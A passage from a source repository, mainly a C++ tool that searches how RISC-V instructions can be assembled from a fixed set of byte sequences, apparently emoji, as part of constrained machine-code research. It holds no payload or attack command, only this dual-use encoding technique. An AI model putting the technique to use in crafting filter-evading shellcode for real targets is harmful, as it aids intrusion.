out_file.close(); 351 | return 0; 352 | } 353 | -------------------------------------------------------------------------------- /block/block.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2022-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #define KBLD "\x1b[1m" 17 | #define KRED "\x1b[31m" 18 | #define KGRN "\x1b[32m" 19 | #define KYLW "\x1b[33m" 20 | #define KRST "\x1b[0m" 21 | 22 | typedef std::vector Bytes; 23 | 24 | std::ostream& operator<< (std::ostream& out, const Bytes& bytes) { 25 | out << '['; 26 | for (size_t i=0; i= '0') && (b <= '9')) { 40 | val += b - '0'; 41 | } else if ((b >= 'A') && (b <= 'F')) { 42 | val += b - 'A' + 10; 43 | } else if ((b >= 'a') && (b <= 'f')) { 44 | val += b - 'a' + 10; 45 | } else { 46 | std::cerr << "Invalid char '" << b << "' in hex2byte" << std::endl; 47 | exit(1); 48 | } 49 | return val; 50 | } 51 | 52 | static Bytes hex_to_bytes(const std::string &hex) 53 | { 54 | Bytes bytes; 55 | assert(hex.size() % 2 == 0); 56 | size_t pos = 0; 57 | while((pos+1 < hex.size())) { 58 | bytes.push_back(hex2byte(hex[pos], hex[pos+1])); 59 | pos += 2; 60 | } 61 | return bytes; 62 | } 63 | 64 | static bool is_bytes_prefix(const Bytes &prefix, const Bytes &bytes) 65 | { 66 | if (prefix.size() > bytes.size()) { 67 | return false; 68 | } 69 | for (size_t i=0; i bytes.size()) { 80 | return false; 81 | } 82 | for (size_t i=0; i> 2) & 0x7FFU; 115 | neg = (imm & (1U << 10)) != 0; 116 | offset = (((imm >> 1) & 0b111) << 1) 117 | | (((imm >> 9) & 0b1 ) << 4) 118 | | (((imm >> 0) & 0b1 ) << 5) 119 | | (((imm >> 5) & 0b1 ) << 6) 120 | | (((imm >> 4) & 0b1 ) << 7) 121 | | (((imm >> 7) & 0b11 ) << 8) 122 | | (((imm >> 6) & 0b1 ) << 10); 123 | } else if (instr_bytes.size() == 4) { 124 | uint32_t instr32 = (((uint32_t)instr_bytes[3]) << 24) 125 | | (((uint32_t)instr_bytes[2]) << 16) 126 | | (((uint32_t)instr_bytes[1]) << 8) 127 | | (((uint32_t)instr_bytes[0]) << 0); 128 | /* 129 | * 31 30 21 20 19 12 11 7 6 0 130 | * imm[20] imm[10:1] imm[11] imm[19:12] rd opcode 131 | */ 132 | neg = (instr32 & (1U << 31)) != 0; 133 | offset = (((instr32 >> 21) & 0x3FF) << 1) 134 | | (((instr32 >> 20) & 0b1 ) << 11) 135 | | (((instr32 >> 12) & 0xFF ) << 12); 136 | if (neg) { 137 | offset = (1U << 20) - offset; 138 | } 139 | } else { 140 | assert(0); 141 | } 142 | stream << instr_text.substr(0, instr_text.find("0x")) 143 | << (neg ? "-" : "+") << std::hex << "0x" << offset; 144 | return stream.str(); 145 | } 146 | if ((instr_text.rfind("bnez\t", 0) == 0) || instr_text.rfind("beqz\t", 0) == 0) { 147 | std::stringstream stream; 148 | bool neg; 149 | uint32_t offset; 150 | if (instr_bytes.size() == 2) { 151 | uint16_t instr16 = ((uint16_t)instr_bytes[1]) << 8 | instr_bytes[0]; 152 | neg = (instr16 & (1U << 12)) != 0; 153 | offset = (((instr16 >> 3) & 0b11) << 1) 154 | | (((instr16 >> 10) & 0b11) << 3) 155 | | (((instr16 >> 2) & 0b1 ) << 5) 156 | | (((instr16 >> 5) & 0b11) << 6); 157 | if (neg) { 158 | offset = (1U << 8) - offset; 159 | } 160 | } else if (instr_bytes.size() == 4) { 161 | /* Not handled yet */ 162 | return instr_text; 163 | } else { 164 | assert(0); 165 | } 166 | stream << instr_text.substr(0, instr_text.find("0x")) 167 | << (neg ? "-" : "+") << std::hex << "0x" << offset; 168 | return stream.str(); 169 | } 170 | return instr_text; 171 | } 172 | 173 | public: 174 | Instruction(void) { 175 | _text = ""; 176 | } 177 | Instruction(const std::string &instr_hex, const std::string &instr_text) { 178 | _bytes = hex_to_bytes(instr_hex); 179 | _text = adjust_text(_bytes, instr_text); 180 | } 181 | Instruction(const Bytes &instr_bytes, const std::string &instr_text) { 182 | _bytes = instr_bytes; 183 | _text = adjust_text(_bytes, instr_text); 184 | } 185 | 186 | size_t size(void) const { 187 | return _bytes.size(); 188 | } 189 | 190 | const Bytes &bytes(void) const { 191 | return _bytes; 192 | } 193 | 194 | const std::string &text(void) const { 195 | return _text; 196 | } 197 | 198 | bool is_jump(void) const { 199 | /* Well, this does the job... */ 200 | return (this->_text[0] == 'j') || (this->_text[0] == 'b'); 201 | } 202 | 203 | bool is_must_jump(void) const { 204 | /* Well, this does the job... */ 205 | return (this->_text[0] == 'j') || ((this->_text[0] == 'b') && (this->_text[1] == '\t')); 206 | } 207 | }; 208 | 209 | typedef std::vector> BlockList; 210 | class Block { 211 | static constexpr size_t max_size = 5; 212 | public: 213 | Instruction goal; 214 | bool is_sequence; 215 | bool prefix[max_size]; 216 | bool suffix[max_size]; 217 | BlockList prev[max_size]; 218 | BlockList next[max_size]; 219 | 220 | Block(const Instruction &in_goal) { 221 | goal = in_goal; 222 | is_sequence = false; 223 | for (size_t i=0; i 0)) 231 | && ((goal.is_jump() && prefix[idx]) || (next[idx].size() > 0))) { 232 | return true; 233 | } 234 | if (suffix[idx] && ((idx == goal.size()) || (goal.is_jump() && (idx > 0)))) { 235 | return true; 236 | } 237 | return false; 238 | } 239 | 240 | bool is_good(void) const { 241 | for (size_t idx=0; idx<=goal.size(); idx++) { 242 | if (is_good(idx)) { 243 | return true; 244 | } 245 | } 246 | return false; 247 | } 248 | }; 249 | 250 | static std::map sequences; 251 | static std::map instructions; 252 | 253 | static void load_seq(void) 254 | { 255 | std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); 256 | const char *seq_file = "build/seq.txt"; 257 | std::ifstream file(seq_file); 258 | if (!file) { 259 | std::cerr << "Could not open file '" << seq_file << "'" << std::endl; 260 | exit(1); 261 | } 262 | 263 | std::string line; 264 | while (std::getline(file, line)) { 265 | //std::cerr << "XXX:" << line << "##" << std::endl; 266 | std::string hex = line.substr(0, line.find(" ")); 267 | sequences.insert(std::pair(hex_to_bytes(hex), Sequence(hex))); 268 | } 269 | 270 | std::chrono::steady_clock::time_point end = std::chrono::steady_clock::now(); 271 | 272 | std::cerr << "Loaded " << sequences.size() << " sequences in " 273 | << std::chrono::duration_cast(end - begin).count() << "µs" << std::endl; 274 | } 275 | 276 | static void load_instr(bool use_64) 277 | { 278 | std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); 279 | const char *instr_file = use_64 ? "build/instr64.txt" : "build/instr32.txt"; 280 | std::ifstream file(instr_file); 281 | if (!file) { 282 | std::cerr << "Could not open file '" << instr_file << "'" << std::endl; 283 | exit(1); 284 | } 285 | 286 | std::string line; 287 | while (std::getline(file, line)) { 288 | std::string hex = line.substr(0, line.find(" ")); 289 | std::string text = line.substr(12); 290 | //std::cerr << "LI: L:" << line << " ## H:'" << hex << "' T'"<< text << "'" << std::endl; 291 | instructions.insert(std::pair(hex_to_bytes(hex), Instruction(hex, text))); 292 | } 293 | 294 | std::chrono::steady_clock::time_point end = std::chrono::steady_clock::now(); 295 | 296 | std::cerr << "Loaded " << instructions.size() << " instructions from '" << instr_file << "' in " 297 | << std::chrono::duration_cast(end - begin).count() << "µs" << std::endl; 298 | } 299 | 300 | __attribute__((unused)) 301 | static void print_block(const Block &block) 302 | { 303 | const Instruction &goal = block.goal; 304 | const Bytes &bytes = goal.bytes(); 305 | size_t goal_size = goal.size(); 306 | 307 | std::cout << KBLD "PRINT BLOCK " << bytes << KRST << std::endl; 308 | 309 | if (block.is_sequence) { 310 | std::cout << "!!!SEQUENCE " << bytes << std::endl; 311 | } 312 | 313 | for (size_t i=0; i<=goal_size; i++) { 314 | Bytes buf_left = Bytes(bytes.begin(), bytes.begin() + i); 315 | Bytes buf_right = Bytes(bytes.begin() + i, bytes.end()); 316 | const bool &prefix = block.prefix[i]; 317 | const bool &suffix = block.suffix[i]; 318 | const BlockList &prev = block.prev[i]; 319 | const BlockList &next = block.next[i]; 320 | 321 | if (!block.is_good(i)) { 322 | std::cout << KRED "FAIL FOR " KRST << bytes << " split as " << buf_left << " | " << buf_right 323 | << " suffix:" << suffix << " prefix:" << prefix 324 | << " prev:" << prev.size() << " next:" << next.size() << std::endl; 325 | } else { 326 | std::cout << KGRN "GOOD FOR " KRST << bytes << " split as " << buf_left << " | " << buf_right 327 | << " suffix:" << suffix << " prefix:" << prefix 328 | << " prev:" << prev.size() << " next:" << next.size() << std::endl; 329 | 330 | for (auto const& [key, seq] : sequences) { 331 | if ((i > 0) && is_bytes_suffix(buf_left, key)) { 332 | std::cout << "%%%%%%S" << std::endl; 333 | std::cout << " " << Bytes(key.begin(), key.end() - buf_left.size()) 334 | << " " << std::endl; 335 | } 336 | } 337 | 338 | for (const auto &instrs: prev) { 339 | std::cout << "%%%%%%p" << std::endl; 340 | for (const auto &instr: instrs) { 341 | std::cout << " " << instr.bytes() << " " << instr.text() << std::endl; 342 | } 343 | } 344 | 345 | std::cout << "========" << std::endl; 346 | std::cout << "OUR GOAL " << bytes << " " << goal.text() << std::endl; 347 | std::cout << "========" << std::endl; 348 | 349 | if (!goal.is_jump()) { 350 | for (const auto &instrs: next) { 351 | for (const auto &instr: instrs) { 352 | std::cout << " " << instr.bytes() << " " << instr.text() << std::endl; 353 | } 354 | std::cout << "%%%%%%n" << std::endl; 355 | } 356 | } else { 357 | std::cout << "jump..." << std::endl; 358 | } 359 | } 360 | } 361 | } 362 | 363 | static Bytes eat_instructions(const Bytes &old_goal, bool back, std::deque &eaten, size_t *p_eaten_size) 364 | { 365 | Bytes goal = old_goal; 366 | bool forward = true; 367 | size_t eaten_size = 0; 368 | while(forward) { 369 | forward = false; 370 | for (size_t sz = 2; sz<=4; sz+=2) { 371 | if (goal.size() >= sz) { 372 | Bytes instr_bytes = back ? 373 | Bytes(goal.end() - sz, goal.end()) : 374 | Bytes(goal.begin(), goal.begin() + sz); 375 | auto it = instructions.find(instr_bytes); 376 | if (it != instructions.end()) { 377 | const Instruction &instr = it->second; 378 | //std::cout << "EA: " << goal << " " << instr.bytes() << " T'" << instr.text() << "'" << std::endl; 379 | if (instr.is_jump() && !back) { 380 | forward = true; 381 | eaten.push_back(instr); 382 | if (instr.size() < goal.size()) { 383 | Bytes trail = Bytes(goal.begin() + instr.size(), goal.end()); 384 | eaten.push_back(Instruction(trail, "")); 385 | } 386 | eaten_size = goal.size(); 387 | goal = Bytes(); 388 | } else if(instr.is_must_jump() && back) { 389 | /* Bad instruction */ 390 | } else { 391 | forward = true; 392 | if (back) { 393 | eaten.push_front(instr); 394 | } else { 395 | eaten.push_back(instr); 396 | } 397 | eaten_size += sz; 398 | goal = back ? 399 | Bytes(goal.begin(), goal.end() - sz): 400 | Bytes(goal.begin() + sz, goal.end()); 401 | } 402 | } 403 | } 404 | } 405 | } 406 | *p_eaten_size = eaten_size; 407 | return goal; 408 | } 409 | 410 | static void make_block(const Bytes &goal, int depth, bool prev, 411 | const std::deque &already_eaten, BlockList &list) 412 | { 413 | std::string logname = prev ? "MBP" : "MBN"; 414 | //std::cerr << logname << ":" << depth << " " << goal << std::endl; 415 | if (depth >= 3) { 416 | return; 417 | } 418 | if (goal.size() == 0) { 419 | //std::cerr << logname << " OK" << std::endl; 420 | if (already_eaten.size() > 0) { 421 | list.push_back(already_eaten); 422 | } 423 | return; 424 | } 425 | 426 | bool simple_search = true; 427 | 428 | for (auto const& [key, seq] : sequences) { 429 | /* For depth == 0, goal is part of an instruction */ 430 | if (((depth > 0) && !simple_search) || (prev ? is_bytes_suffix(goal, key) : is_bytes_prefix(goal, key))) { 431 | Bytes new_goal; 432 | if (depth == 0) { 433 | new_goal = (prev ? 434 | Bytes(key.begin(), key.end() - goal.size()): 435 | Bytes(key.begin() + goal.size(), key.end())); 436 | } else { 437 | new_goal = goal; 438 | new_goal.insert(prev ? new_goal.begin() : new_goal.end(), key.begin(), key.end()); 439 | } 440 | 441 | size_t eaten_size; 442 | auto eaten = already_eaten; 443 | Bytes eaten_goal = eat_instructions(new_goal, prev, eaten, &eaten_size); 444 | //std::cerr << "*" << logname << ":" << depth << " " << goal << " -> " << new_goal << " -> " << eaten_goal << std::endl; 445 | if (eaten_goal.size() < 4) { /* Else, we have not eaten enough to continue... */ 446 | make_block(eaten_goal, depth+1, prev, eaten, list); 447 | } 448 | } 449 | } 450 | } 451 | 452 | static bool block_prefix(const Bytes &goal) 453 | { 454 | for (auto const& [key, seq] : sequences) { 455 | if (is_bytes_prefix(goal, key)) { 456 | return true; 457 | } 458 | } 459 | return false; 460 | } 461 | 462 | static bool block_suffix(const Bytes &goal) 463 | { 464 | for (auto const& [key, seq] : sequences) { 465 | if (is_bytes_suffix(goal, key)) { 466 | return true; 467 | } 468 | } 469 | return false; 470 | } 471 | 472 | static BlockList make_block_prev(const Bytes &goal) 473 | { 474 | std::deque eaten; 475 | BlockList list; 476 | make_block(goal, 0, true, eaten, list); 477 | return list; 478 | } 479 | 480 | static BlockList make_block_next(const Bytes &goal) 481 | { 482 | std::deque eaten; 483 | BlockList list; 484 | make_block(goal, 0, false, eaten, list); 485 | return list; 486 | } 487 | 488 | static Block make_block(const Instruction &instr) { 489 | Block block(instr); 490 | 491 | const Bytes &goal = instr.bytes(); 492 | //std::cout << "Trying to find block for instruction " << goal << std::endl; 493 | if (sequences.find(goal) != sequences.end()) { 494 | std::cout << "Instruction " << goal << " is a sequence!" << std::endl; 495 | block.is_sequence = true; 496 | return block; 497 | } 498 | /* FIXME: Handle case where instr is contained in the middle of a single emoji */ 499 | for (size_t i=0; i<=goal.size(); i++) { 500 | Bytes buf_left = Bytes(goal.begin(), goal.begin() + i); 501 | Bytes buf_right = Bytes(goal.begin() + i, goal.end()); 502 | //std::cerr << "XXX: " << buf_left << " | " << buf_right << std::endl; 503 | std::deque eaten; 504 | block.prefix[i] = block_prefix(buf_right); 505 | block.suffix[i] = block_suffix(buf_left); 506 | block.prev[i] = make_block_prev(buf_left); 507 | block.next[i] = make_block_next(buf_right); 508 | } 509 | 510 | return block; 511 | } 512 | 513 | static void make_good_list(void) { 514 | for (auto const& [key, instr] : instructions) { 515 | Block block = make_block(instr); 516 | //print_block(block); 517 | if (block.is_good()) { 518 | bool need_prefix = true; 519 | for (size_t idx=0; idx<=block.goal.size(); idx++) { 520 | if (block.is_good(idx)) { 521 | if ((idx == 0) || (block.prev[idx].size() > 0)) { 522 | need_prefix = false; 523 | } 524 | } 525 | } 526 | 527 | size_t text_len = instr.text().size(); 528 | std::string text_pad = std::string(40-text_len, ' '); 529 | std::cout << instr.bytes() << "\t" 530 | << instr.text() << text_pad << "\t" 531 | << (need_prefix ? "%NP" : "") 532 | << std::endl; 533 | } 534 | } 535 | } 536 | 537 | int main(int argc, char *argv[]) 538 | { 539 | bool make_list = false; 540 | bool instr_64 = true; 541 | int goal_index = -1; 542 | 543 | for (int i=1; i0) ? argv[0] : "") << " -l | " << std::endl; 557 | exit(1); 558 | } 559 | 560 | load_seq(); 561 | load_instr(instr_64); 562 | 563 | if (make_list) { 564 | make_good_list(); 565 | return 0; 566 | } 567 | 568 | Bytes in_bytes = hex_to_bytes(argv[goal_index]); 569 | Instruction goal = Instruction(in_bytes, ""); 570 | if (instructions.find(in_bytes) != instructions.end()) { 571 | goal = instructions[in_bytes]; 572 | } else { 573 | std::cerr << "Warning: could not find " << in_bytes << " in our list of acceptable instructions" << std::endl; 574 | } 575 | 576 | Block block = make_block(goal); 577 | print_block(block); 578 | 579 | return 0; 580 | } 581 | --------------------------------------------------------------------------------